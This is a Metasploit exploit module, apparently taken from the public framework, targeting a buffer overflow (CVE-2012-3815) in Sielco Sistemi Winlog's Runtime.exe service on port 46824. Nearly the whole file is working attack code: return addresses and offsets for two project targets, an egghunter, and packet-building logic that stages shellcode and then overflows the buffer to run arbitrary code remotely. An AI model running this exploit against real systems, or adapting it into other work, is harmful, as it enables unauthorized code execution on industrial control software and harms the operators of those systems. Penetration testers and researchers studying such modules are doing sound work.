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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Remote::Egghunter
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Sielco Sistemi Winlog Buffer Overflow 2.07.14 - 2.07.16',
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        'Description' => %q{
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          This module exploits a buffer overflow in Sielco Sistem Winlog <= 2.07.16.
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          When sending a specially formatted packet to the Runtime.exe service on port 46824,
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          an attacker may be able to execute arbitrary code.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Michael Messner <devnull[at]s3cur1ty.de>'
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        ],
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        'References' => [
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          [ 'BID', '53811'],
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          [ 'CVE', '2012-3815'],
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          [ 'OSVDB', '82654'],
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          [ 'EDB', '18986'],
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          [ 'URL', 'http://www.s3cur1ty.de/m1adv2012-001' ],
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          [ 'URL', 'http://www.sielcosistemi.com/en/download/public/winlog_lite.html' ]
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'thread',
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        },
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        'Platform' => 'win',
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        'Payload' => {
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          'Space' => 2000,
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          'BadChars' => "\x00",
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          'DisableNops' => true,
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        },
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        'Targets' => [
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          [
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            'Sielco Sistemi Winlog 2.07.14/2.07.16 - Ceramics Kiln Project',
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            {
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              'Ret' => 0x405153df,
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              'Offset' => 167,
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            }
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          ], #  Jmp ESP - Vclx40.bpl - 0x405153df
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          [
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            'Sielco Sistemi Winlog 2.07.14 - Automatic Washing System Project',
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            {
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              'Ret' => 0x405153df,
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              'Offset' => 151,
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            }
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          ], #  Jmp ESP - Vclx40.bpl - 0x405153df
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          # The reliability depends on the actual project. We need to generate some more
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          # targets. Two of them for the default project and one other project is now available.
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        ],
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        'Privileged' => false,
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        'DisclosureDate' => '2012-06-04',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options([Opt::RPORT(46824)])
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  end
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  def exploit
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    connect
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    egghunter, egg = generate_egghunter(payload.encoded, payload_badchars)
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    print_status("Placing the shellcode")
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    shellcode = rand_text_alpha(2000)
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    shellcode << egg
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    sock.put(shellcode)
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    select(nil, nil, nil, 1)
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    buffer = rand_text_alpha(20)
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    buffer << "\x14" * 10	# trigger the crash
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    buffer << rand_text_alpha(target['Offset'])
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    buffer << [target.ret].pack('V')
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    buffer << egghunter
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    buffer << rand_text_alpha(69 - egghunter.length)
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    print_status("Trying target #{target.name}...")
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    sock.put(buffer)
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    handler
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    disconnect
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  end
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end
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